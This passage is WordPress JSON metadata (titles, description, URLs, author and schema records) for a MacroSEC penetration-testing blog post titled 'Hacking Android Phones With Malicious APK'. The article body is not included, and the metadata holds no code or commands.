security measures can be taken.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/","og_locale":"en_US","og_type":"article","og_title":"Hacking Android Phones With Malicious APK &#8212; MacroSEC","og_description":"It is possible to exploit the actual android device of a user by installing malicious payloads on their phones in form of Android Application Packages (APKs), or by trojanizing a legitimate application. Android security assessments allow the penetration tester to discover if there are certain protections around the binary in place. If these protections are not there and the application could be trojanized by a malicious attacker, then the client should be made aware so that appropriate security measures can be taken.","og_url":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/","og_site_name":"MacroSEC","article_published_time":"2021-01-19T10:16:27+00:00","article_modified_time":"2021-01-21T07:39:29+00:00","og_image":[{"width":400,"height":400,"url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk.png","type":"image\/png"}],"author":"Varun Gupta","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Varun Gupta","Est. reading time":"16 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/#article","isPartOf":{"@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/"},"author":{"name":"Varun Gupta","@id":"https:\/\/macrosec.tech\/#\/schema\/person\/25a4f831e9e50082deebea9327b48bf0"},"headline":"Hacking Android Phones With Malicious APK","datePublished":"2021-01-19T10:16:27+00:00","dateModified":"2021-01-21T07:39:29+00:00","mainEntityOfPage":{"@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/"},"wordCount":3166,"commentCount":0,"publisher":{"@id":"https:\/\/macrosec.tech\/#organization"},"image":{"@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/#primaryimage"},"thumbnailUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk.png","articleSection":["Offensive Security","Penetration Testing","Red Teaming"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/","url":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/","name":"Hacking Android Phones With Malicious APK &#8212; MacroSEC","isPartOf":{"@id":"https:\/\/macrosec.tech\/#website"},"primaryImageOfPage":{"@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/#primaryimage"},"image":{"@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/#primaryimage"},"thumbnailUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk.png","datePublished":"2021-01-19T10:16:27+00:00","dateModified":"2021-01-21T07:39:29+00:00","description":"It is possible to exploit the actual android device of a user by installing malicious payloads on their phones in form of Android Application Packages (APKs), or by trojanizing a legitimate application. Android security assessments allow the penetration tester to discover if there are certain protections around the binary in place. If these protections are not there and the application could be trojanized by a malicious attacker, then the client should be made aware so that appropriate security measures can be taken.","breadcrumb":{"@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/#primaryimage","url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk.png","contentUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk.png","width":400,"height":400},{"@type":"BreadcrumbList","@id":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/macrosec.tech\/"},{"@type":"ListItem","position":2,"name":"Hacking Android Phones With Malicious APK"}]},{"@type":"WebSite","@id":"https:\/\/macrosec.tech\/#website","url":"https:\/\/macrosec.tech\/","name":"MacroSEC","description":"Your Cybersecurity Partner - Kenya","publisher":{"@id":"https:\/\/macrosec.tech\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/macrosec.tech\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/macrosec.tech\/#organization","name":"MacroSec Ltd","url":"https:\/\/macrosec.tech\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/macrosec.tech\/#\/schema\/logo\/image\/","url":"https:\/\/macrosec.tech\/wp-content\/uploads\/2018\/04\/MobileIcon_Retine.png","contentUrl":"https:\/\/macrosec.tech\/wp-content\/uploads\/2018\/04\/MobileIcon_Retine.png","width":400,"height":107,"caption":"MacroSec Ltd"},"image":{"@id":"https:\/\/macrosec.tech\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/macrosec.tech\/#\/schema\/person\/25a4f831e9e50082deebea9327b48bf0","name":"Varun Gupta","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/52bc834329f8953672ef80ade6d06e40673c985c5434ad9aa3ba360e5ca444e1?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/52bc834329f8953672ef80ade6d06e40673c985c5434ad9aa3ba360e5ca444e1?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/52bc834329f8953672ef80ade6d06e40673c985c5434ad9aa3ba360e5ca444e1?s=96&d=mm&r=g","caption":"Varun Gupta"}}]}},"_links":{"self":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/1054","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/comments?post=1054"}],"version-history":[{"count":6,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/1054\/revisions"}],"predecessor-version":[{"id":1133,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/posts\/1054\/revisions\/1133"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/media\/1080"}],"wp:attachment":[{"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/media?parent=1054"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/categories?post=1054"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/macrosec.tech\/index.php\/wp-json\/wp\/v2\/tags?post=1054"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}